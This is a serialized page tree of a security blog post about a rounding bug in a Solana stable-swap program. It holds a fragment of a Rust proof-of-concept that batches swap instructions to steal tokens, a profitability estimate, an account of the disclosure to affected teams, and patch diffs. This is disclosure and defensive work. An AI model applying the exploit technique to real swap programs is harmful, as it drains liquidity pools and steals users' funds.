313},[6748,6753],{"type":24,"tag":930,"props":6749,"children":6750},{"style":1242},[6751],{"type":30,"value":6752},"        1",{"type":24,"tag":930,"props":6754,"children":6755},{"style":959},[6756],{"type":30,"value":2832},{"type":24,"tag":930,"props":6758,"children":6759},{"class":932,"line":1335},[6760],{"type":24,"tag":930,"props":6761,"children":6762},{"style":1242},[6763],{"type":30,"value":6764},"        2\n",{"type":24,"tag":930,"props":6766,"children":6767},{"class":932,"line":1376},[6768,6773,6777,6782],{"type":24,"tag":930,"props":6769,"children":6770},{"style":959},[6771],{"type":30,"value":6772},"    )",{"type":24,"tag":930,"props":6774,"children":6775},{"style":1158},[6776],{"type":30,"value":436},{"type":24,"tag":930,"props":6778,"children":6779},{"style":1002},[6780],{"type":30,"value":6781},"unwrap",{"type":24,"tag":930,"props":6783,"children":6784},{"style":959},[6785],{"type":30,"value":1310},{"type":24,"tag":930,"props":6787,"children":6788},{"class":932,"line":1418},[6789],{"type":24,"tag":930,"props":6790,"children":6791},{"emptyLinePlaceholder":16},[6792],{"type":30,"value":2412},{"type":24,"tag":930,"props":6794,"children":6795},{"class":932,"line":1438},[6796],{"type":24,"tag":930,"props":6797,"children":6798},{"style":1422},[6799],{"type":30,"value":6800},"    // nonce\n",{"type":24,"tag":930,"props":6802,"children":6803},{"class":932,"line":1479},[6804,6809,6813,6818,6822,6827,6831,6835,6840,6845,6850,6855,6859,6864],{"type":24,"tag":930,"props":6805,"children":6806},{"style":1023},[6807],{"type":30,"value":6808},"    swap_instruction",{"type":24,"tag":930,"props":6810,"children":6811},{"style":1158},[6812],{"type":30,"value":436},{"type":24,"tag":930,"props":6814,"children":6815},{"style":959},[6816],{"type":30,"value":6817},"data",{"type":24,"tag":930,"props":6819,"children":6820},{"style":1158},[6821],{"type":30,"value":436},{"type":24,"tag":930,"props":6823,"children":6824},{"style":1002},[6825],{"type":30,"value":6826},"append",{"type":24,"tag":930,"props":6828,"children":6829},{"style":959},[6830],{"type":30,"value":1010},{"type":24,"tag":930,"props":6832,"children":6833},{"style":1158},[6834],{"type":30,"value":6230},{"type":24,"tag":930,"props":6836,"children":6837},{"style":937},[6838],{"type":30,"value":6839},"mut",{"type":24,"tag":930,"props":6841,"children":6842},{"style":1002},[6843],{"type":30,"value":6844}," vec!",{"type":24,"tag":930,"props":6846,"children":6847},{"style":959},[6848],{"type":30,"value":6849},"[",{"type":24,"tag":930,"props":6851,"children":6852},{"style":1023},[6853],{"type":30,"value":6854},"i",{"type":24,"tag":930,"props":6856,"children":6857},{"style":959},[6858],{"type":30,"value":962},{"type":24,"tag":930,"props":6860,"children":6861},{"style":1023},[6862],{"type":30,"value":6863},"extranonce",{"type":24,"tag":930,"props":6865,"children":6866},{"style":959},[6867],{"type":30,"value":6868},"]);\n",{"type":24,"tag":930,"props":6870,"children":6871},{"class":932,"line":1506},[6872],{"type":24,"tag":930,"props":6873,"children":6874},{"emptyLinePlaceholder":16},[6875],{"type":30,"value":2412},{"type":24,"tag":930,"props":6877,"children":6878},{"class":932,"line":1525},[6879,6883,6887,6892,6896,6900],{"type":24,"tag":930,"props":6880,"children":6881},{"style":937},[6882],{"type":30,"value":6122},{"type":24,"tag":930,"props":6884,"children":6885},{"style":937},[6886],{"type":30,"value":6127},{"type":24,"tag":930,"props":6888,"children":6889},{"style":1023},[6890],{"type":30,"value":6891}," instructions",{"type":24,"tag":930,"props":6893,"children":6894},{"style":1158},[6895],{"type":30,"value":6137},{"type":24,"tag":930,"props":6897,"children":6898},{"style":1002},[6899],{"type":30,"value":6844},{"type":24,"tag":930,"props":6901,"children":6902},{"style":959},[6903],{"type":30,"value":6904},"[];\n",{"type":24,"tag":930,"props":6906,"children":6907},{"class":932,"line":1569},[6908],{"type":24,"tag":930,"props":6909,"children":6910},{"emptyLinePlaceholder":16},[6911],{"type":30,"value":2412},{"type":24,"tag":930,"props":6913,"children":6914},{"class":932,"line":1592},[6915,6920,6924,6929,6933,6938],{"type":24,"tag":930,"props":6916,"children":6917},{"style":1023},[6918],{"type":30,"value":6919},"    instructions",{"type":24,"tag":930,"props":6921,"children":6922},{"style":1158},[6923],{"type":30,"value":436},{"type":24,"tag":930,"props":6925,"children":6926},{"style":1002},[6927],{"type":30,"value":6928},"push",{"type":24,"tag":930,"props":6930,"children":6931},{"style":959},[6932],{"type":30,"value":1010},{"type":24,"tag":930,"props":6934,"children":6935},{"style":1023},[6936],{"type":30,"value":6937},"swap_instruction",{"type":24,"tag":930,"props":6939,"children":6940},{"style":959},[6941],{"type":30,"value":1278},{"type":24,"tag":930,"props":6943,"children":6944},{"class":932,"line":1610},[6945],{"type":24,"tag":930,"props":6946,"children":6947},{"emptyLinePlaceholder":16},[6948],{"type":30,"value":2412},{"type":24,"tag":930,"props":6950,"children":6951},{"class":932,"line":1628},[6952,6957,6961,6966,6970,6974,6979,6983,6987,6992,6996,7000,7004],{"type":24,"tag":930,"props":6953,"children":6954},{"style":1023},[6955],{"type":30,"value":6956},"    env",{"type":24,"tag":930,"props":6958,"children":6959},{"style":1158},[6960],{"type":30,"value":436},{"type":24,"tag":930,"props":6962,"children":6963},{"style":1002},[6964],{"type":30,"value":6965},"execute_as_transaction",{"type":24,"tag":930,"props":6967,"children":6968},{"style":959},[6969],{"type":30,"value":1010},{"type":24,"tag":930,"props":6971,"children":6972},{"style":1158},[6973],{"type":30,"value":6230},{"type":24,"tag":930,"props":6975,"children":6976},{"style":1023},[6977],{"type":30,"value":6978},"instructions",{"type":24,"tag":930,"props":6980,"children":6981},{"style":959},[6982],{"type":30,"value":962},{"type":24,"tag":930,"props":6984,"children":6985},{"style":1158},[6986],{"type":30,"value":6230},{"type":24,"tag":930,"props":6988,"children":6989},{"style":1002},[6990],{"type":30,"value":6991},"vec!",{"type":24,"tag":930,"props":6993,"children":6994},{"style":959},[6995],{"type":30,"value":6849},{"type":24,"tag":930,"props":6997,"children":6998},{"style":1158},[6999],{"type":30,"value":6230},{"type":24,"tag":930,"props":7001,"children":7002},{"style":1023},[7003],{"type":30,"value":6651},{"type":24,"tag":930,"props":7005,"children":7006},{"style":959},[7007],{"type":30,"value":6868},{"type":24,"tag":930,"props":7009,"children":7010},{"class":932,"line":1637},[7011],{"type":24,"tag":930,"props":7012,"children":7013},{"style":959},[7014],{"type":30,"value":2528},{"type":24,"tag":33,"props":7016,"children":7017},{},[7018],{"type":30,"value":7019},"It works!",{"type":24,"tag":6054,"props":7021,"children":7022},{},[7023],{"type":24,"tag":33,"props":7024,"children":7025},{},[7026],{"type":30,"value":7027},"holy shit\nyea, this is big",{"type":24,"tag":33,"props":7029,"children":7030},{},[7031],{"type":24,"tag":140,"props":7032,"children":7034},{"alt":7,"src":7033},"/posts/spl-swap/poc.png",[],{"type":24,"tag":68,"props":7036,"children":7038},{"id":7037},"exploitability",[7039],{"type":30,"value":7040},"Exploitability",{"type":24,"tag":33,"props":7042,"children":7043},{},[7044],{"type":30,"value":7045},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":33,"props":7047,"children":7048},{},[7049],{"type":30,"value":7050},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":33,"props":7052,"children":7053},{},[7054],{"type":30,"value":7055},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":33,"props":7057,"children":7058},{},[7059],{"type":24,"tag":140,"props":7060,"children":7062},{"alt":7,"src":7061},"/posts/spl-swap/pr.png",[],{"type":24,"tag":33,"props":7064,"children":7065},{},[7066,7068,7073],{"type":30,"value":7067},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":6032,"props":7069,"children":7070},{},[7071],{"type":30,"value":7072},"per instruction",{"type":30,"value":7074},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":33,"props":7076,"children":7077},{},[7078],{"type":30,"value":7079},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":33,"props":7081,"children":7082},{},[7083,7085,7090],{"type":30,"value":7084},"Some quick napkin math confirms that this ",{"type":24,"tag":6032,"props":7086,"children":7087},{},[7088],{"type":30,"value":7089},"is",{"type":30,"value":7091}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":33,"props":7093,"children":7094},{},[7095],{"type":24,"tag":156,"props":7096,"children":7100},{"className":7097},[7098,7099],"language-math","math-inline",[7101],{"type":24,"tag":930,"props":7102,"children":7105},{"className":7103},[7104],"katex",[7106],{"type":24,"tag":930,"props":7107,"children":7111},{"className":7108,"ariaHidden":7110},[7109],"katex-html","true",[7112,7220,7276,7316],{"type":24,"tag":930,"props":7113,"children":7116},{"className":7114},[7115],"base",[7117,7123,7130,7193,7203,7209,7216],{"type":24,"tag":930,"props":7118,"children":7122},{"className":7119,"style":7121},[7120],"strut","height:0.8141em;",[],{"type":24,"tag":930,"props":7124,"children":7127},{"className":7125},[7126],"mord",[7128],{"type":30,"value":7129},"1",{"type":24,"tag":930,"props":7131,"children":7133},{"className":7132},[7126],[7134,7139],{"type":24,"tag":930,"props":7135,"children":7137},{"className":7136},[7126],[7138],{"type":30,"value":1818},{"type":24,"tag":930,"props":7140,"children":7143},{"className":7141},[7142],"msupsub",[7144],{"type":24,"tag":930,"props":7145,"children":7148},{"className":7146},[7147],"vlist-t",[7149],{"type":24,"tag":930,"props":7150,"children":7153},{"className":7151},[7152],"vlist-r",[7154],{"type":24,"tag":930,"props":7155,"children":7158},{"className":7156,"style":7121},[7157],"vlist",[7159],{"type":24,"tag":930,"props":7160,"children":7162},{"style":7161},"top:-3.063em;margin-right:0.05em;",[7163,7169],{"type":24,"tag":930,"props":7164,"children":7168},{"className":7165,"style":7167},[7166],"pstrut","height:2.7em;",[],{"type":24,"tag":930,"props":7170,"children":7176},{"className":7171},[7172,7173,7174,7175],"sizing","reset-size6","size3","mtight",[7177],{"type":24,"tag":930,"props":7178,"children":7180},{"className":7179},[7126,7175],[7181,7187],{"type":24,"tag":930,"props":7182,"children":7184},{"className":7183},[7126,7175],[7185],{"type":30,"value":7186},"−",{"type":24,"tag":930,"props":7188,"children":7190},{"className":7189},[7126,7175],[7191],{"type":30,"value":7192},"8",{"type":24,"tag":930,"props":7194,"children":7196},{"className":7195},[7126,30],[7197],{"type":24,"tag":930,"props":7198,"children":7200},{"className":7199},[7126],[7201],{"type":30,"value":7202}," BTC",{"type":24,"tag":930,"props":7204,"children":7208},{"className":7205,"style":7207},[7206],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":930,"props":7210,"children":7213},{"className":7211},[7212],"mbin",[7214],{"type":30,"value":7215},"∗",{"type":24,"tag":930,"props":7217,"children":7219},{"className":7218,"style":7207},[7206],[],{"type":24,"tag":930,"props":7221,"children":7223},{"className":7222},[7115],[7224,7229,7235,7242,7247,7253,7263,7267,7272],{"type":24,"tag":930,"props":7225,"children":7228},{"className":7226,"style":7227},[7120],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":930,"props":7230,"children":7232},{"className":7231},[7126],[7233],{"type":30,"value":7234},"$41",{"type":24,"tag":930,"props":7236,"children":7239},{"className":7237},[7238],"mpunct",[7240],{"type":30,"value":7241},",",{"type":24,"tag":930,"props":7243,"children":7246},{"className":7244,"style":7245},[7206],"margin-right:0.1667em;",[],{"type":24,"tag":930,"props":7248,"children":7250},{"className":7249},[7126],[7251],{"type":30,"value":7252},"400/",{"type":24,"tag":930,"props":7254,"children":7256},{"className":7255},[7126,30],[7257],{"type":24,"tag":930,"props":7258,"children":7260},{"className":7259},[7126],[7261],{"type":30,"value":7262},"BTC",{"type":24,"tag":930,"props":7264,"children":7266},{"className":7265,"style":7207},[7206],[],{"type":24,"tag":930,"props":7268,"children":7270},{"className":7269},[7212],[7271],{"type":30,"value":7215},{"type":24,"tag":930,"props":7273,"children":7275},{"className":7274,"style":7207},[7206],[],{"type":24,"tag":930,"props":7277,"children":7279},{"className":7278},[7115],[7280,7285,7291,7301,7306,7312],{"type":24,"tag":930,"props":7281,"children":7284},{"className":7282,"style":7283},[7120],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":7286,"children":7288},{"className":7287},[7126],[7289],{"type":30,"value":7290},"150",{"type":24,"tag":930,"props":7292,"children":7294},{"className":7293},[7126,30],[7295],{"type":24,"tag":930,"props":7296,"children":7298},{"className":7297},[7126],[7299],{"type":30,"value":7300}," swaps",{"type":24,"tag":930,"props":7302,"children":7305},{"className":7303,"style":7304},[7206],"margin-right:0.2778em;",[],{"type":24,"tag":930,"props":7307,"children":7310},{"className":7308},[7309],"mrel",[7311],{"type":30,"value":1161},{"type":24,"tag":930,"props":7313,"children":7315},{"className":7314,"style":7304},[7206],[],{"type":24,"tag":930,"props":7317,"children":7319},{"className":7318},[7115],[7320,7325],{"type":24,"tag":930,"props":7321,"children":7324},{"className":7322,"style":7323},[7120],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":930,"props":7326,"children":7328},{"className":7327},[7126],[7329],{"type":30,"value":7330},"$0.0621",{"type":24,"tag":33,"props":7332,"children":7333},{},[7334],{"type":30,"value":7335},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":33,"props":7337,"children":7338},{},[7339],{"type":30,"value":7340},"We're well on our way to becoming a millionaire!",{"type":24,"tag":68,"props":7342,"children":7344},{"id":7343},"patch",[7345],{"type":30,"value":7346},"Patch",{"type":24,"tag":33,"props":7348,"children":7349},{},[7350],{"type":30,"value":7351},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":33,"props":7353,"children":7354},{},[7355],{"type":30,"value":7356},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":920,"props":7358,"children":7362},{"code":7359,"language":7360,"meta":7,"className":7361,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[7363],{"type":24,"tag":156,"props":7364,"children":7365},{"__ignoreMap":7},[7366],{"type":24,"tag":930,"props":7367,"children":7368},{"class":932,"line":933},[7369,7373,7378,7383,7388,7393,7398],{"type":24,"tag":930,"props":7370,"children":7371},{"style":1002},[7372],{"type":30,"value":6000},{"type":24,"tag":930,"props":7374,"children":7375},{"style":1270},[7376],{"type":30,"value":7377}," logs",{"type":24,"tag":930,"props":7379,"children":7380},{"style":1270},[7381],{"type":30,"value":7382}," -um",{"type":24,"tag":930,"props":7384,"children":7385},{"style":1158},[7386],{"type":30,"value":7387}," |",{"type":24,"tag":930,"props":7389,"children":7390},{"style":1002},[7391],{"type":30,"value":7392}," grep",{"type":24,"tag":930,"props":7394,"children":7395},{"style":1270},[7396],{"type":30,"value":7397}," 'Instruction: Swap'",{"type":24,"tag":930,"props":7399,"children":7400},{"style":1270},[7401],{"type":30,"value":7402}," -B1\n",{"type":24,"tag":33,"props":7404,"children":7405},{},[7406],{"type":30,"value":7407},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":920,"props":7409,"children":7411},{"code":7410},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[7412],{"type":24,"tag":156,"props":7413,"children":7414},{"__ignoreMap":7},[7415],{"type":30,"value":7410},{"type":24,"tag":33,"props":7417,"children":7418},{},[7419],{"type":30,"value":7420},"Now it was time to contact these teams.",{"type":24,"tag":33,"props":7422,"children":7423},{},[7424],{"type":30,"value":7425},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":24,"tag":33,"props":7427,"children":7428},{},[7429],{"type":30,"value":7430},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":24,"tag":920,"props":7432,"children":7434},{"code":7433,"language":6101,"meta":7,"className":6102,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[7435],{"type":24,"tag":156,"props":7436,"children":7437},{"__ignoreMap":7},[7438,7491,7503],{"type":24,"tag":930,"props":7439,"children":7440},{"class":932,"line":933},[7441,7445,7449,7454,7458,7463,7467,7471,7475,7479,7483,7487],{"type":24,"tag":930,"props":7442,"children":7443},{"style":1158},[7444],{"type":30,"value":1215},{"type":24,"tag":930,"props":7446,"children":7447},{"style":937},[7448],{"type":30,"value":6186},{"type":24,"tag":930,"props":7450,"children":7451},{"style":1023},[7452],{"type":30,"value":7453}," dy",{"type":24,"tag":930,"props":7455,"children":7456},{"style":1158},[7457],{"type":30,"value":6137},{"type":24,"tag":930,"props":7459,"children":7460},{"style":1023},[7461],{"type":30,"value":7462}," swap_destination_amount",{"type":24,"tag":930,"props":7464,"children":7465},{"style":1158},[7466],{"type":30,"value":436},{"type":24,"tag":930,"props":7468,"children":7469},{"style":1002},[7470],{"type":30,"value":6356},{"type":24,"tag":930,"props":7472,"children":7473},{"style":959},[7474],{"type":30,"value":1010},{"type":24,"tag":930,"props":7476,"children":7477},{"style":1023},[7478],{"type":30,"value":6235},{"type":24,"tag":930,"props":7480,"children":7481},{"style":959},[7482],{"type":30,"value":6249},{"type":24,"tag":930,"props":7484,"children":7485},{"style":1158},[7486],{"type":30,"value":5347},{"type":24,"tag":930,"props":7488,"children":7489},{"style":959},[7490],{"type":30,"value":5539},{"type":24,"tag":930,"props":7492,"children":7493},{"class":932,"line":984},[7494,7498],{"type":24,"tag":930,"props":7495,"children":7496},{"style":1158},[7497],{"type":30,"value":1400},{"type":24,"tag":930,"props":7499,"children":7500},{"style":1422},[7501],{"type":30,"value":7502},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":24,"tag":930,"props":7504,"children":7505},{"class":932,"line":993},[7506,7510,7514,7518,7522,7526,7530,7534,7538,7542,7546,7550,7554,7558,7562,7566,7570],{"type":24,"tag":930,"props":7507,"children":7508},{"style":1158},[7509],{"type":30,"value":1400},{"type":24,"tag":930,"props":7511,"children":7512},{"style":937},[7513],{"type":30,"value":6186},{"type":24,"tag":930,"props":7515,"children":7516},{"style":1023},[7517],{"type":30,"value":7453},{"type":24,"tag":930,"props":7519,"children":7520},{"style":1158},[7521],{"type":30,"value":6137},{"type":24,"tag":930,"props":7523,"children":7524},{"style":1023},[7525],{"type":30,"value":7462},{"type":24,"tag":930,"props":7527,"children":7528},{"style":1158},[7529],{"type":30,"value":436},{"type":24,"tag":930,"props":7531,"children":7532},{"style":1002},[7533],{"type":30,"value":6356},{"type":24,"tag":930,"props":7535,"children":7536},{"style":959},[7537],{"type":30,"value":1010},{"type":24,"tag":930,"props":7539,"children":7540},{"style":1023},[7541],{"type":30,"value":6235},{"type":24,"tag":930,"props":7543,"children":7544},{"style":959},[7545],{"type":30,"value":6249},{"type":24,"tag":930,"props":7547,"children":7548},{"style":1158},[7549],{"type":30,"value":6254},{"type":24,"tag":930,"props":7551,"children":7552},{"style":1002},[7553],{"type":30,"value":6356},{"type":24,"tag":930,"props":7555,"children":7556},{"style":959},[7557],{"type":30,"value":1010},{"type":24,"tag":930,"props":7559,"children":7560},{"style":1242},[7561],{"type":30,"value":7129},{"type":24,"tag":930,"props":7563,"children":7564},{"style":959},[7565],{"type":30,"value":6249},{"type":24,"tag":930,"props":7567,"children":7568},{"style":1158},[7569],{"type":30,"value":5347},{"type":24,"tag":930,"props":7571,"children":7572},{"style":959},[7573],{"type":30,"value":5539},{"type":24,"tag":33,"props":7575,"children":7576},{},[7577,7579,7586],{"type":30,"value":7578},"For reference, here is the ",{"type":24,"tag":37,"props":7580,"children":7583},{"href":7581,"rel":7582},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[41],[7584],{"type":30,"value":7585},"Curve.fi implementation",{"type":30,"value":436},{"type":24,"tag":920,"props":7588,"children":7590},{"code":7589,"language":924,"meta":7,"className":922,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[7591],{"type":24,"tag":156,"props":7592,"children":7593},{"__ignoreMap":7},[7594,7656],{"type":24,"tag":930,"props":7595,"children":7596},{"class":932,"line":933},[7597,7602,7606,7611,7615,7620,7624,7629,7633,7638,7643,7647,7651],{"type":24,"tag":930,"props":7598,"children":7599},{"style":959},[7600],{"type":30,"value":7601},"    dy",{"type":24,"tag":930,"props":7603,"children":7604},{"style":1158},[7605],{"type":30,"value":476},{"type":24,"tag":930,"props":7607,"children":7608},{"style":943},[7609],{"type":30,"value":7610}," uint256",{"type":24,"tag":930,"props":7612,"children":7613},{"style":1158},[7614],{"type":30,"value":6137},{"type":24,"tag":930,"props":7616,"children":7617},{"style":959},[7618],{"type":30,"value":7619}," xp[j] ",{"type":24,"tag":930,"props":7621,"children":7622},{"style":1158},[7623],{"type":30,"value":1215},{"type":24,"tag":930,"props":7625,"children":7626},{"style":959},[7627],{"type":30,"value":7628}," y ",{"type":24,"tag":930,"props":7630,"children":7631},{"style":1158},[7632],{"type":30,"value":1215},{"type":24,"tag":930,"props":7634,"children":7635},{"style":1242},[7636],{"type":30,"value":7637}," 1",{"type":24,"tag":930,"props":7639,"children":7640},{"style":959},[7641],{"type":30,"value":7642},"  # ",{"type":24,"tag":930,"props":7644,"children":7645},{"style":1158},[7646],{"type":30,"value":1215},{"type":24,"tag":930,"props":7648,"children":7649},{"style":1242},[7650],{"type":30,"value":7129},{"type":24,"tag":930,"props":7652,"children":7653},{"style":959},[7654],{"type":30,"value":7655}," just in case there were some rounding errors\n",{"type":24,"tag":930,"props":7657,"children":7658},{"class":932,"line":984},[7659,7664,7668,7672,7676,7681,7685,7690,7694],{"type":24,"tag":930,"props":7660,"children":7661},{"style":959},[7662],{"type":30,"value":7663},"    dy_fee",{"type":24,"tag":930,"props":7665,"children":7666},{"style":1158},[7667],{"type":30,"value":476},{"type":24,"tag":930,"props":7669,"children":7670},{"style":943},[7671],{"type":30,"value":7610},{"type":24,"tag":930,"props":7673,"children":7674},{"style":1158},[7675],{"type":30,"value":6137},{"type":24,"tag":930,"props":7677,"children":7678},{"style":959},[7679],{"type":30,"value":7680}," dy ",{"type":24,"tag":930,"props":7682,"children":7683},{"style":1158},[7684],{"type":30,"value":1410},{"type":24,"tag":930,"props":7686,"children":7687},{"style":959},[7688],{"type":30,"value":7689}," self.fee ",{"type":24,"tag":930,"props":7691,"children":7692},{"style":1158},[7693],{"type":30,"value":1471},{"type":24,"tag":930,"props":7695,"children":7696},{"style":959},[7697],{"type":30,"value":7698}," FEE_DENOMINATOR\n",{"type":24,"tag":33,"props":7700,"children":7701},{},[7702,7704,7711],{"type":30,"value":7703},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":24,"tag":37,"props":7705,"children":7708},{"href":7706,"rel":7707},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[41],[7709],{"type":30,"value":7710},"original commit",{"type":30,"value":7712},", not as an additional security patch.",{"type":24,"tag":920,"props":7714,"children":7716},{"code":7715},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[7717],{"type":24,"tag":156,"props":7718,"children":7719},{"__ignoreMap":7},[7720],{"type":30,"value":7715},{"type":24,"tag":33,"props":7722,"children":7723},{},[7724,7726,7733],{"type":30,"value":7725},"The commit adding stable swaps to SPL was ",{"type":24,"tag":37,"props":7727,"children":7730},{"href":7728,"rel":7729},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[41],[7731],{"type":30,"value":7732},"made a few months later",{"type":30,"value":7734},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":24,"tag":920,"props":7736,"children":7738},{"code":7737},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[7739],{"type":24,"tag":156,"props":7740,"children":7741},{"__ignoreMap":7},[7742],{"type":30,"value":7737},{"type":24,"tag":33,"props":7744,"children":7745},{},[7746,7748,7755],{"type":30,"value":7747},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":24,"tag":37,"props":7749,"children":7752},{"href":7750,"rel":7751},"https://github.com/solana-labs/solana-program-library",[41],[7753],{"type":30,"value":7754},"the Solana Program Library",{"type":30,"value":436},{"type":24,"tag":33,"props":7757,"children":7758},{},[7759],{"type":30,"value":7760},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":33,"props":7762,"children":7763},{},[7764,7771],{"type":24,"tag":37,"props":7765,"children":7768},{"href":7766,"rel":7767},"https://github.com/joncinque",[41],[7769],{"type":30,"value":7770},"@joncinque",{"type":30,"value":7772}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":6054,"props":7774,"children":7775},{},[7776],{"type":24,"tag":33,"props":7777,"children":7778},{},[7779],{"type":30,"value":7780},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":33,"props":7782,"children":7783},{},[7784,7786,7793,7795,7801],{"type":30,"value":7785},"After some thought, he helped ",{"type":24,"tag":37,"props":7787,"children":7790},{"href":7788,"rel":7789},"https://github.com/solana-labs/solana-program-library/pull/2942",[41],[7791],{"type":30,"value":7792},"introduce a PR",{"type":30,"value":7794}," which ceilings the computation in ",{"type":24,"tag":156,"props":7796,"children":7798},{"className":7797},[],[7799],{"type":30,"value":7800},"compute_new_destination_amount",{"type":30,"value":7802}," to correctly round within the stable curve math library.",{"type":24,"tag":920,"props":7804,"children":7806},{"code":7805,"language":6101,"meta":7,"className":6102,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[7807],{"type":24,"tag":156,"props":7808,"children":7809},{"__ignoreMap":7},[7810,7818,7848,7875,7903,7927,8003,8107,8134,8229,8332,8359,8371,8390,8413],{"type":24,"tag":930,"props":7811,"children":7812},{"class":932,"line":933},[7813],{"type":24,"tag":930,"props":7814,"children":7815},{"style":1422},[7816],{"type":30,"value":7817},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":930,"props":7819,"children":7820},{"class":932,"line":984},[7821,7826,7830,7835,7839,7844],{"type":24,"tag":930,"props":7822,"children":7823},{"style":937},[7824],{"type":30,"value":7825},"     let",{"type":24,"tag":930,"props":7827,"children":7828},{"style":937},[7829],{"type":30,"value":6127},{"type":24,"tag":930,"props":7831,"children":7832},{"style":1023},[7833],{"type":30,"value":7834}," y_prev",{"type":24,"tag":930,"props":7836,"children":7837},{"style":1158},[7838],{"type":30,"value":476},{"type":24,"tag":930,"props":7840,"children":7841},{"style":943},[7842],{"type":30,"value":7843}," 